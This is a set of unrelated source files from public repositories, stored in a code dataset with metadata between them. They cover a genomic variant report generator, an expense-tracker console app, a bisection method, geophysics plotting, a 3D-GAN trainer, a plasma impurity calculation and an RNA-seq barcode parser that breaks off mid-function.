import a, h6, p\nfrom ezcharts.components.bcfstats import load_bcfstats\nfrom ezcharts.components.clinvar import load_clinvar_vcf\nfrom ezcharts.components.ezchart import EZChart\nfrom ezcharts.components.reports.labs import LabsReport\nfrom ezcharts.components.theme import LAB_head_resources\nfrom ezcharts.layout.snippets import DataTable, Stats, Tabs\nfrom ezcharts.plots import util\nfrom ezcharts.plots.categorical import barplot\nfrom ezcharts.plots.matrix import heatmap\nimport numpy as np\nimport pandas as pd\n\nfrom .util import get_named_logger, wf_parser # noqa: ABS101\n\n# Global variables\nColors = util.Colors\n\n# Mutation profile palette to match the COSMIC\n# patterns.\ncmap = {\n 'C>A': Colors.cerulean,\n 'C>G': Colors.black,\n 'C>T': Colors.cinnabar,\n 'T>A': Colors.grey70,\n 'T>C': Colors.medium_spring_bud,\n 'T>G': Colors.fandango,\n}\n\n\ndef indel_sizes(df):\n \"\"\"Extract indel sizes with added 0-values.\"\"\"\n df['nlength'] = df['length (deletions negative)'].astype(int)\n df['count'] = df['number of sites'].astype(int)\n # pad just to pull out axes by a minimum\n counts = df.groupby('nlength') \\\n .agg(count=pd.NamedAgg(column='count', aggfunc='sum')) \\\n .reset_index()\n # Create min/max range of values\n all_counts = pd.DataFrame({\n 'nlength': np.arange(counts.nlength.min() - 1, counts.nlength.max() + 1)\n })\n all_counts = pd.merge(all_counts, counts, on=\"nlength\", how=\"left\").fillna(0)\n # Add values where needed:\n return all_counts\n\n\ndef parse_changes(bcftools_dt):\n \"\"\"Parse changes from counts using same method as in aplanat.\"\"\"\n df = bcftools_dt\n sim_sub = {\n 'G>A': 'C>T', 'G>C': 'C>G', 'G>T': 'C>A',\n 'T>A': 'A>T', 'T>C': 'A>G', 'T>G': 'A>C'}\n\n def canon_sub(sub):\n b1 = sub[0]\n if b1 not in {'A', 'C'}:\n return canon_sub(sim_sub[sub])\n else:\n return b1, sub[2]\n\n df['canon_sub'] = df['type'].apply(canon_sub)\n df['Reference allele'] = df['canon_sub'].apply(lambda x: x[0])\n df['Alternative allele'] = df['canon_sub'].apply(lambda x: x[1])\n df['count'] = df['count'].astype(int)\n df = df[['Reference allele', 'Alternative allele', 'count']] \\\n .groupby(['Reference allele', 'Alternative allele']) \\\n .agg(count=pd.NamedAgg(column='count', aggfunc='sum')) \\\n .reset_index()\n df2 = df.pivot(\n index=\"Alternative allele\",\n columns=\"Reference allele\",\n values=\"count\")\n return df2\n\n\ndef main(args):\n \"\"\"Run the entry point.\"\"\"\n logger = get_named_logger(\"report_snp\")\n clinvar_docs_url = \"https://www.ncbi.nlm.nih.gov/clinvar/docs/clinsig/\"\n\n # Check that the input files exist\n if not os.path.exists(args.vcf_stats):\n raise FileNotFoundError(f\"File {args.vcf_stats} not found.\")\n\n # Load the data\n try:\n bcfstats = load_bcfstats(\n args.vcf_stats,\n sample_names=[args.sample_name])\n except IndexError:\n bcfstats = {'SN': pd.DataFrame(), 'TSTV': pd.DataFrame()}\n # Instantiate the report\n report = LabsReport(\n \"Small variation statistics\", \"wf-human-variation\",\n args.params, args.versions,\n head_resources=[*LAB_head_resources])\n\n # VCF At-a-glance report\n\n with report.add_section('At a glance', 'Summary'):\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['SN'].empty:\n p('The bcftools stats file is empty.')\n else:\n bcfstats['SN'].columns = [\n i.replace('SNP', 'SNV').replace('MNP', 'MNV')\n for i in bcfstats['SN'].columns\n ]\n titv = bcfstats['TSTV']['ts/tv'].values[0]\n nsites = bcfstats['SN']['records'].values[0]\n nsnvs = bcfstats['SN']['SNVs'].values[0]\n nindels = bcfstats['SN']['indels'].values[0]\n Stats(\n columns=4,\n items=[(f'{\"{:,}\".format(int(nsites))}', 'Variants'),\n (f'{\"{:,}\".format(int(nsnvs))}', 'SNVs'),\n (f'{\"{:,}\".format(int(nindels))}', 'Indels'),\n (f'{titv}', 'Ti/Tv')])\n\n # Base statistics\n with report.add_section('Statistics', 'Stats'):\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['SN'].empty:\n p('The bcftools stats file is empty.')\n else:\n DataTable.from_pandas(\n bcfstats['SN'].drop(columns=['id']),\n use_index=False)\n DataTable.from_pandas(\n bcfstats['TSTV'].drop(columns='id'),\n use_index=False)\n\n # ClinVar variants\n if not args.skip_annotation:\n if args.clinvar_vcf is not None:\n if os.path.exists(args.clinvar_vcf):\n with report.add_section('ClinVar variant annotations', 'ClinVar'):\n p(\n \"The \",\n a(\"SnpEff\", href=\"https://pcingola.github.io/SnpEff/\"),\n \" annotation tool has been used to annotate with\",\n a(\"ClinVar\", href=\"https://www.ncbi.nlm.nih.gov/clinvar/\"), '.'\n \" Variants with ClinVar annotations will appear in the \",\n \"table below, ranked according to their significance. \",\n \"'Pathogenic', 'Likely pathogenic', and 'Unknown \",\n \"significance' will be displayed first, in that order. \",\n \"Please note that variants classified as 'Benign' or \",\n \"'Likely benign' are not reported in this table, but \",\n \"will appear in the VCF output by the workflow. For further\",\n \" details on the terms in the 'Significance' column, please\",\n \" visit \",\n a(\"this page\", href=clinvar_docs_url),\n '.')\n # check if there are any ClinVar sites to report\n clinvar_for_report = load_clinvar_vcf(args.clinvar_vcf)\n if clinvar_for_report.empty:\n h6('No ClinVar sites to report.')\n else:\n DataTable.from_pandas(\n clinvar_for_report, export=True, use_index=False)\n\n else:\n # Annotations were skipped\n with report.add_section('ClinVar variant annotations', 'ClinVar'):\n p(\n \"This report was generated without annotations. To see\"\n \" them, re-run the workflow without --skip_annotation.\")\n\n # Change type\n with report.add_section('Substitution types', 'Types'):\n p('Base substitutions aggregated across all samples (symmetrised by pairing).')\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['ST'].empty:\n p('The bcftools stats file is empty.')\n else:\n subtype = parse_changes(bcfstats['ST'])\n plt = heatmap(subtype)\n EZChart(plt, 'epi2melabs')\n\n # Plot mutation spectra if provided\n with report.add_section('Indels length', 'Indels'):\n p('Insertion and deletion lengths aggregated across all samples.')\n tabs = Tabs()\n with tabs.add_tab(args.sample_name):\n if bcfstats['ST'].empty:\n p('The bcftools stats file is empty.')\n else:\n sizes = indel_sizes(bcfstats['IDD'])\n plt = barplot(data=sizes, x=\"nlength\", y=\"count\", color=Colors.cerulean)\n EZChart(plt, 'epi2melabs')\n\n # write report\n report.write(args.report)\n logger.info(f\"Written report to '{args.report}'.\")\n\n\ndef argparser():\n \"\"\"Create argument parser.\"\"\"\n parser = wf_parser(\"report\")\n\n parser.add_argument(\"report\", help=\"Report output file\")\n parser.add_argument(\n \"--read_stats\", default='unknown',\n help=\"read statistics output from bamstats\")\n parser.add_argument(\n \"--vcf_stats\", default='unknown',\n help=\"final vcf stats file\")\n parser.add_argument(\n \"--clinvar_vcf\", required=True,\n help=\"VCF file of variants annotated in ClinVar\")\n parser.add_argument(\n \"--sample_name\", default='Sample',\n help=\"final vcf stats file\")\n parser.add_argument(\n \"--versions\", required=True,\n help=\"directory containing CSVs containing name,version.\")\n parser.add_argument(\n \"--params\", required=True,\n help=\"directory containing CSVs containing name,version.\")\n parser.add_argument(\n \"--skip_annotation\", action=\"store_true\",\n help=\"Do not show ClinVar variants in report.\")\n\n return parser\n","repo_name":"epi2me-labs/wf-human-variation","sub_path":"bin/workflow_glue/report_snp.py","file_name":"report_snp.py","file_ext":"py","file_size_in_byte":8952,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"53"} +{"seq_id":"42587059125","text":"\"\"\"\n\n\n@author: Nichifor Dragos\n\n\n\n\n\nRequirements:\n\nYou will be given one of the problems below to solve using feature-driven development\nThe program must provide a menu-driven console user interface.\nUse classes to represent the following:\nThe domain entity (complex, expense, student, book)\nA services class that implements the required functionalities\nThe ui class which implements the user interface\nHave 10 programmatically generated entries in the application at start-up.\nUnit tests and specifications for non-UI functions related to the first functionality.\n\n===========================================================================================================\n\n2. Expenses\n\nManage a list of expenses. Each expense has a day (integer between 1 and 30), amount of money (positive integer) and \nexpense type (string). Provide the following features:\n\nAdd an expense. Expense data is read from the console.\nDisplay the list of expenses.\nFilter the list so that it contains only expenses above a certain value read from the console.\nUndo the last operation that modified program data. This step can be repeated.\n\n\"\"\"\n\nimport random\n\nfrom src.domain.domain import Expense\nfrom src.services.services import Services\n\n\nclass StartUi:\n def __init__(self):\n self.__explist = []\n self.__undolist = []\n\n def create_element_list(self, current):\n types = ['food', 'internet', 'housekeeping', 'transport', 'others', 'electricity']\n expense_type = random.choice(types)\n day = random.randint(1, 30)\n value = random.randint(1, 400)\n p = Expense(day, value, expense_type)\n self.__explist.append(p)\n\n def fill_list(self):\n current = 0\n while current < 10:\n current += 1\n self.create_element_list(current)\n\n def print_element(self, day, amount, expense):\n print(\" day: \", day, \" amount: \", amount, \" type of expense: \", expense)\n\n def print_menu(self):\n print(\"1 - add an expense\")\n print(\"2 - display the expenses\")\n print(\"3 - filter by value\")\n print(\"4 - undo\")\n print(\"exit - exit the program\")\n\n def check_command(self, command):\n if command != 1 and command != 2 and command != 3 and command != 4 and command != \"1\" and command != \"2\" \\\n and command != \"3\" and command != \"4\":\n raise ValueError(\"Please enter a valid command!\")\n\n def add_cmd(self, day, amount, expense):\n addition = Services(self.__explist, self.__undolist)\n addition.add_cmd_run(day, amount, expense)\n\n def list_cmd(self):\n if len(self.__explist) == 0:\n print(\"The list has no elements\")\n return\n for i in range(len(self.__explist)):\n k = self.__explist[i]\n self.print_element(k.day, k.amount, k.type_expense)\n\n def filter_cmd(self, value):\n filter_c = Services(self.__explist, self.__undolist)\n filter_c.filter_cmd_run(value)\n\n def undo_cmd(self):\n undo_c = Services(self.__explist, self.__undolist)\n undo_c.undo_cmd_run()\n\n def start(self):\n\n self.fill_list()\n self.__undolist.append(self.__explist[:])\n while True:\n try:\n self.print_menu()\n command = input(\"Please enter the command! \")\n if command.lower() == 'exit':\n print(\"Quiting...\")\n return\n self.check_command(command)\n if command == \"1\" or command == 1:\n day = input(\"The day is: \")\n amount = input(\"The amount is: \")\n expense = input(\"The expense type is: \")\n self.add_cmd(day, amount, expense)\n if command == \"2\" or command == 2:\n self.list_cmd()\n if command == \"3\" or command == 3:\n value = input(\"The value is: \")\n self.filter_cmd(value)\n if command == \"4\" or command == 4:\n self.undo_cmd()\n except ValueError as ve:\n print(ve)\n\n\nif __name__ == '__main__':\n k = StartUi()\n k.start()\n","repo_name":"915-Nichifor-Dragos/UBB","sub_path":"First year/First semester/Fundamentals of programming/Expenses planner/src/ui/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"34499630564","text":"# -*- coding: utf-8 -*-\n\n\"\"\"INPUT: Function f, endpoint values a, b, tolerance TOL\nCONDITIONS: a < b, either f(a) < 0 and f(b) > 0 or f(a) > 0 and f(b) < 0\n\"\"\"\n\nfrom math import log2\nfrom math import copysign\n\n\ndef bisect(f, a, b, tol):\n if tol <= 0 or tol > b - a:\n print(\"illegal value for tolerance\")\n return\n\n # limit iterations to prevent infinite loop\n\n m = log2(b - a) - log2(tol)\n if m > 1000:\n print(\"failed to find root in 1K iterations\")\n\n i = 0\n while i <= m:\n c = (a + b) / 2\n if f(c) == 0:\n break\n if copysign(1, f(c)) == copysign(1, f(a)):\n a = c\n else:\n b = c\n i = i + 1\n print(\"Found root is\", c, \"after\", i, \"iteration.\")\n","repo_name":"Phi-Li/CalcMethod","sub_path":"bisection.py","file_name":"bisection.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2796178375","text":"# -*- coding: utf-8 -*-\n\nimport h5py\nimport numpy as np\nfrom geobipy.src.base import plotting as cP\nfrom geobipy.src.inversion.LineResults import LineResults\nfrom geobipy.src.inversion.DataSetResults import DataSetResults\nimport matplotlib.pyplot as plt\nfrom os.path import join\nimport matplotlib as mpl\nimport argparse\nimport os\n\n### Check a single line results file\n\nParser = argparse.ArgumentParser(description=\"Plotting line results\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nParser.add_argument('datadir', default=None, help='Directory of the data')\nParser.add_argument('h5dir', default='.', help='Directory of HDF5 files')\nParser.add_argument('--outdir', default='.', help='Directory to place the images')\nParser.add_argument('--files', nargs='+', default=None, help='Specific h5 files in h5dir to process. Space separated')\nParser.add_argument('--save', dest='save', default=True, help='Save images to png')\nParser.add_argument('--show', dest='show', default=False, help='Show images to screen')\nParser.add_argument('--dpi', dest='dpi', type=int, default=300, help='DPI of the saved images')\nParser.add_argument('--size', nargs=2, dest='size', default=None, help='Size of the figures --size dx dy in inches')\nParser.add_argument('--xaxis', dest='xaxis', default='x', help='[x, y, r2d, r3d, or index] Plot the lines against this co-ordinate')\n\nargs = Parser.parse_args()\n\nshow = args.show\nsave = args.save\nxaxis = args.xaxis\n\nfiles = args.files\nif files is None:\n files = [f for f in os.listdir(args.h5dir) if f.endswith('.h5')]\n\nif args.size is None:\n figSize = (20,4)\nelse:\n figSize = (int(args.size[0]), int(args.size[1]))\n\nmpl.rcParams['figure.figsize'] = figSize[0], figSize[1]\n\ndpi = args.dpi\n\n\nfor file in files:\n\n fName = join(args.h5dir, file)\n file = os.path.join(args.outdir, file)\n\n LR = LineResults(fName, systemFilepath=args.datadir)\n\n p = 0\n\n points = [100, 250, 370, 550]\n\n p += 1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotXsection(bestModel=False, log=10, invertPar=True, vmin=1.0, vmax=np.log10(500.0), cmap='jet', xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n #LR.plotDoi(linewidth=0.1, alpha=0.6, percent=40)\n if show: plt.show()\n if save: plt.savefig(file+'_meanModel.png',dpi=dpi)\n\n # p += 1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotBestDataChannel(channel=np.s_[:], yscale='linear', linewidth=0.5, xAxis=xaxis)\n # if show: plt.show()\n # if save: plt.savefig(file+'_predictedData.png',dpi=dpi)\n\n # p += 1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotObservedDataChannel(channel=np.s_[:], yscale='linear', linewidth=0.5, xAxis=xaxis)\n # if show: plt.show()\n # if save: plt.savefig(file+'_observedData.png',dpi=dpi)\n\n # p += 1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotAllBestData(log=10)\n # if show: plt.show()\n # if save: plt.savefig(file+'_allBestData.png', dpi=dpi)\n\n p+=1\n plt.figure(p,figsize=figSize, dpi=dpi)\n LR.plotXsection(bestModel=True, log=10, invertPar=True, vmin=1.0, vmax=np.log10(500.0), cmap='jet', xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n #LR.plotHighlightedObservationLocations(iDs=LR.iDs[points])\n if show: plt.show()\n if save: plt.savefig(file+'_bestModel.png',dpi=dpi)\n\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotKlayers()\n if show: plt.show()\n if save: plt.savefig(file+'_kLayers.png',dpi=dpi)\n\n # p+=1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotSuccessFail()\n # if show: plt.show()\n # if save: plt.savefig(file+'_successFail.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotAdditiveError(linestyle='none')\n if show: plt.show()\n if save: plt.savefig(file+'_additive.png',dpi=dpi)\n\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotRelativeError(yscale='log', linestyle='none')\n if show: plt.show()\n if save: plt.savefig(file+'_relative.png',dpi=dpi)\n\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=0\n# LR.plotTotalError(channel=c, yscale='log', linestyle='none')\n# if show: plt.show()\n# if save: plt.savefig(file+'_total_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# c=5\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# LR.plotTotalError(channel=c, yscale='log', linestyle='none')\n# if show: plt.show()\n# if save: plt.savefig(file+'_total_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=9\n# LR.plotTotalError(channel=c, yscale='log', linestyle='none')\n# if show: plt.show()\n# if save: plt.savefig(file+'_total_channel_'+str(c)+'.png',dpi=dpi)\n\n\n p+=1\n plt.figure(p)\n LR.histogram(nBins=100, log=10)\n if show: plt.show()\n if save: plt.savefig(file+'_histogram.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotInterfaces(cmap='gray_r', useVariance=False, xAxis=xaxis)\n LR.plotElevation(linewidth=0.1, xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_interfaces.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotOpacity(cmap='gray_r', xAxis=xaxis)\n LR.plotElevation(linewidth=0.1, xAxis=xaxis)\n LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_opacity.png', dpi=dpi)\n\n # p+=1\n # plt.figure(p, figsize=figSize, dpi=dpi)\n # LR.plotTransparancy(cmap='gray_r', xAxis=xaxis)\n # LR.plotElevation(linewidth=0.1, xAxis=xaxis)\n # LR.plotDataElevation(linewidth=0.1, xAxis=xaxis)\n # if show: plt.show()\n # if save: plt.savefig(file+'_transparancy.png', dpi=dpi)\n\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotAdditiveErrorDistributions(system=0, cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_addErrHist.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotRelativeErrorDistributions(system=0, cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_relErrHist.png',dpi=dpi)\n\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=0\n# LR.plotTotalErrorDistributions(channel=c, nBins=100)\n# plt.title('Channel '+str(c))\n# if show: plt.show()\n# if save: plt.savefig(file+'_totErrHist_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=5\n# LR.plotTotalErrorDistributions(channel=c, nBins=100)\n# plt.title('Channel '+str(c))\n# if show: plt.show()\n# if save: plt.savefig(file+'_totErrHist_channel_'+str(c)+'.png',dpi=dpi)\n#\n# p+=1\n# plt.figure(p, figsize=figSize, dpi=dpi)\n# c=9\n# LR.plotTotalErrorDistributions(channel=c, nBins=100)\n# plt.title('Channel '+str(c))\n# if show: plt.show()\n# if save: plt.savefig(file+'_totErrHist_channel_'+str(c)+'.png',dpi=dpi)\n#\n#\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotElevationDistributions(cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_dataElevationHist.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.plotKlayersDistributions(cmap='gray_r', xAxis=xaxis)\n if show: plt.show()\n if save: plt.savefig(file+'_kLayersHist.png',dpi=dpi)\n\n p+=1\n plt.figure(p, figsize=figSize, dpi=dpi)\n LR.crossplotErrors()\n if show: plt.show()\n if save: plt.savefig(file+'_crossplotErr.png',dpi=dpi)\n\n plt.close('all')\n\n\n\n LR.close()\n\n","repo_name":"DOI-USGS/geobipy","sub_path":"geobipy/plotting/plotLine.py","file_name":"plotLine.py","file_ext":"py","file_size_in_byte":7583,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"53"} +{"seq_id":"28838708533","text":"from scheduler.base.base_trainer import Trainer\n\nfrom models.zoo.threedgan import ThreeDGANmodel\nfrom models.losses.gan_loss import GANBCELoss\nfrom utils.mesh import Ellipsoid\nfrom utils.tensor import recursive_detach\n\nimport torch\nimport torch.nn as nn\n\n\nclass ThreeDGANTrainer(Trainer):\n def init_auxiliary(self):\n pass\n\n def init_model(self):\n return ThreeDGANmodel(self.options.model.threedgan)\n\n def init_loss_functions(self):\n return GANBCELoss().cuda()\n\n def train_step(self, input_batch):\n X = input_batch[\"voxel\"]\n device = X.device\n batch_size = X.size(0)\n D = self.model.module.D\n G = self.model.module.G\n D_solver = self.optimizer[\"optimizer_d\"]\n G_solver = self.optimizer[\"optimizer_g\"]\n\n Z = self.generateZ(self.options.model.threedgan, batch_size, device)\n if self.options.model.threedgan.soft_label:\n real_labels = torch.Tensor(batch_size).uniform_(0.7, 1.2).cuda()\n fake_labels = torch.Tensor(batch_size).uniform_(0, 0.3).cuda()\n else:\n real_labels = torch.ones(batch_size).cuda()\n fake_labels = torch.zeros(batch_size).cuda()\n\n ############################\n # (1) Update D network: maximize log(D(x)) + log(1 - D(G(z)))\n ###########################\n d_real = D(X)\n # import ipdb\n # ipdb.set_trace()\n d_real_loss = self.criterion(d_real, real_labels)\n\n fake = G(Z)\n d_fake = D(fake['pred_voxel'])\n d_fake_loss = self.criterion(d_fake, fake_labels)\n\n d_loss = d_real_loss + d_fake_loss\n\n d_real_acu = torch.ge(d_real['pred_label'].squeeze(), 0.5).float()\n d_fake_acu = torch.le(d_fake['pred_label'].squeeze(), 0.5).float()\n d_total_acu = torch.mean(torch.cat((d_real_acu, d_fake_acu), 0))\n\n if d_total_acu <= self.options.model.threedgan.d_thresh:\n D.zero_grad()\n d_loss.backward()\n D_solver.step()\n\n ############################\n # (2) Update G network: maximize log(D(G(z)))\n ###########################\n Z = self.generateZ(self.options.model.threedgan, batch_size, device)\n\n fake = G(Z)\n d_fake = D(fake['pred_voxel'])\n g_loss = self.criterion(d_fake, real_labels)\n\n D.zero_grad()\n G.zero_grad()\n g_loss.backward()\n G_solver.step()\n\n out = fake\n loss_summary = {\n \"loss_D_R\": d_real_loss,\n \"loss_D_F\": d_fake_loss,\n \"loss_D\": d_loss,\n \"loss_G\": g_loss,\n \"acc_D\": d_total_acu\n }\n\n self.losses.update(g_loss.detach().cpu().item())\n # Pack output arguments to be used for visualization\n return recursive_detach(out), recursive_detach(loss_summary)\n\n def generateZ(self, options, batch_size, device):\n if options.z_distribution == \"norm\":\n Z = torch.Tensor(batch_size, options.z_size).normal_(0, 0.33).to(device)\n elif options.z_distribution == \"uni\":\n Z = torch.randn(batch_size, options.z_size, device=device)\n else:\n raise NotImplementedError(\"The distribution of noise not found.\")\n return Z\n\n def optimizers_dict(self):\n return {'optimizer_d': self.optimizer['optimizer_d'],\n 'optimizer_g': self.optimizer['optimizer_g'],\n 'lr_scheduler': self.lr_scheduler}\n\n def log_step(self, loss_summary):\n self.logger.info(\"Epoch %03d/%03d, Step %06d/%06d | %06d/%06d, Time elapsed %s, DLoss %.5f, GLoss %.5f, Acc %.3f\" % (\n self.epoch_count, self.options.train.num_epochs,\n self.step_count - ((self.epoch_count - 1) * self.dataset_size // (\n self.options.train.summary_steps * self.options.train.summary_steps\n )), self.dataset_size,\n self.step_count, self.options.train.num_epochs * self.dataset_size,\n self.time_elapsed,\n loss_summary[\"loss_D\"], loss_summary[\"loss_G\"],\n loss_summary[\"acc_D\"] * 100))\n","repo_name":"walsvid/Generation3D","sub_path":"scheduler/threedgan/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"53"} +{"seq_id":"34953153809","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom read_iterdb_file import read_iterdb_file\n\n\n\n#path='/global/u1/m/maxcurie/max/Cases/jet78697/'\n#profile_name =path+'jet78697.51005_hager_Z6.0Zeff2.35__negom_alpha1.2_TiTe.iterdb' \t\t#name of the profile file\n\npath='/global/u1/m/maxcurie/max/Cases/DIIID175823_250k/'\nprofile_name =path+'DIIID175823.iterdb' \t\t#name of the profile file\n\nrho0, Te, Ti, ne, ni, nz, vrot = read_iterdb_file(profile_name)\n\n'''\nde = np.genfromtxt('profiles_e')\ndi = np.genfromtxt('profiles_i')\ndz = np.genfromtxt('profiles_z')\n\nne = de[:,3]\nni = di[:,3]\nnz = dz[:,3]\n\nTe = de[:,2]\nTi = di[:,2]\nTz = dz[:,2]\n'''\n\nZ = float(input(\"Enter Z for impurity:\\n\"))\n\n#zeff = (ni+nz*Z**2.)*(1./ne)\n\nzeff = (ni+nz*Z**2.)*(1./ni)\n\ntau = zeff*Te/Ti\n\nid = ni/ne\n\nplt.clf()\nplt.plot(rho0,ne,label='ne')\nplt.plot(rho0,nz,label='nz')\nplt.plot(rho0,ni,label='ni')\nplt.plot(rho0,zeff,label='zeff')\nplt.legend()\nplt.title('zeff')\nplt.show()\n\nplt.clf()\n#plt.plot(rho0,(ni+nz*Z**2.),label='(ni+nz*Z**2.)')\n#plt.plot(rho0,1./ne,label='1./ne')\nplt.plot(rho0,zeff,label='zeff')\nplt.legend()\nplt.title('zeff')\nplt.show()\n\nplt.plot(rho0,nz)\nplt.title('nz')\nplt.show()\n\nplt.plot(rho0,id)\nplt.title('id')\nplt.show()\n\nplt.plot(rho0,tau)\nplt.title('tau')\nplt.show()\n\nrho = float(input(\"Enter location of interest:\\n\"))\n\nindex=np.argmin(abs(rho-rho0))\n\nprint('zeff(x/r='+str(rho)+')='+str(zeff[index]))\nprint('id(x/r='+str(rho)+')='+str(id[index]))\nprint('tau(x/r='+str(rho)+')='+str(tau[index]))\n","repo_name":"maxtcurie/mode_finder","sub_path":"calc_zeff_id.py","file_name":"calc_zeff_id.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11201570199","text":"#!/usr/bin/env python2.7\nimport argparse\nimport fastqutil\nimport rnautil\n\n\n# For testing, use global variables.\nMID_SEQ = \"TTCAACAAT\"\nEND_SEQ = \"TGGAATTCTCGGGTG\"\n\ndef parse_rna_seq(seq, qscore, qcutoff, dlen, plen, blen):\n seq = seq.strip()\n seqlen = len(seq)\n qscore = qscore.strip()\n assert seqlen == len(qscore), \"seq length (%s) != qscore length (%s)\" % (seq, qscore)\n\n # Assume that digital tag always exist, so find MID_SEQ from dlen + 1.\n # dlen + 1 because at least 1 base of promoter region needs to be identified.\n\n # Starting index to search for mid_seq. Inclusive. \n # So it is also the length to skip at the beginning.\n mid_search_start_ind = dlen + 1\n\n # Traverse all occurence of mid_seq in the read. Return the first valid one.\n # Assume that the end_seq is long enough to exclude false positive ones. \n while True:\n mid_start = seq.find(MID_SEQ, mid_search_start_ind)\n if (mid_start == -1):\n return \"MID_SEQ_NOT_FOUND\"\n \n # digital_tag-p-mid-b-end\n if mid_start + len(MID_SEQ) + blen + len(END_SEQ) > seqlen:\n return \"SHORT_SEQ\"\n \n # pstart is random promoter region start (0-based inc)\n # bstart is barcode start\n pstart = dlen\n bstart = mid_start + len(MID_SEQ)\n end_start = bstart + blen\n end_end = end_start + len(END_SEQ)\n \n seq_ex_end = seq[end_start:end_end]\n if seq_ex_end != END_SEQ:\n #return \"END_SEQ_NOT_FOUND\"\n mid_search_start_ind = mid_start + 1\n else:\n break\n \n if min(qscore[0:end_end]) < qcutoff or \"N\" in seq[0:end_end]:\n return \"QUAL_FAILED\"\n \n seq_ex_dt = seq[0:dlen]\n seq_ex_p = seq[pstart:mid_start]\n seq_ex_b = seq[bstart:end_start]\n\n return (seq_ex_dt, seq_ex_p, seq_ex_b)\n\nclass RNASequenceContainer:\n def __init__(self, dna_parsed_tpl_fn):\n self.rna_seq_dict = {}\n self.dna_tpl_dict = self.get_dna_bpdict(dna_parsed_tpl_fn)\n self.num_seq = 0\n \n @staticmethod\n def get_dna_bpdict(idna_parsed_fn):\n # {barcode : (promoter, count), ...}\n dna_bpdict = {}\n with open(idna_parsed_fn, 'r') as ifile:\n for line in ifile:\n fields = line.strip().split()\n assert len(fields) == 3\n brcd_seq = fields[0]\n prmt_seq = fields[1]\n prmt_count = int(fields[2])\n assert brcd_seq not in dna_bpdict\n dna_bpdict[brcd_seq] = (prmt_seq, prmt_count)\n return dna_bpdict\n\n def insert_seq(self, dtag_seq, prmt_seq, brcd_seq):\n self.num_seq += 1\n if brcd_seq not in self.rna_seq_dict:\n self.rna_seq_dict[brcd_seq] = {prmt_seq : [1, {dtag_seq : 1}]}\n elif prmt_seq not in self.rna_seq_dict[brcd_seq]:\n self.rna_seq_dict[brcd_seq][prmt_seq] = [1, {dtag_seq : 1}]\n elif dtag_seq not in self.rna_seq_dict[brcd_seq][prmt_seq][1]:\n self.rna_seq_dict[brcd_seq][prmt_seq][0] += 1\n self.rna_seq_dict[brcd_seq][prmt_seq][1][dtag_seq] = 1\n else:\n self.rna_seq_dict[brcd_seq][prmt_seq][0] += 1\n self.rna_seq_dict[brcd_seq][prmt_seq][1][dtag_seq] += 1\n\n # Dump promoter and barcode sequences\n # dna\n # prmt\n # brcd\n # tnm\n # m\n def dump_m_prmt_brcd_seq(self, output_fn):\n with open(output_fn, 'w') as od_file:\n for brcd_seq, prmt_dict in self.rna_seq_dict.iteritems():\n if brcd_seq in self.dna_tpl_dict:\n dna_prmt_seq = self.dna_tpl_dict[brcd_seq][0]\n for prmt_seq, prmt_count_list in prmt_dict.iteritems():\n if rnautil.seq_rmatch(prmt_seq, dna_prmt_seq):\n prmt_rmatch = 1\n else:\n prmt_rmatch = 0\n start_ind = len(dna_prmt_seq) - len(prmt_seq) + 1\n\n prmt_read_count = prmt_count_list[0]\n 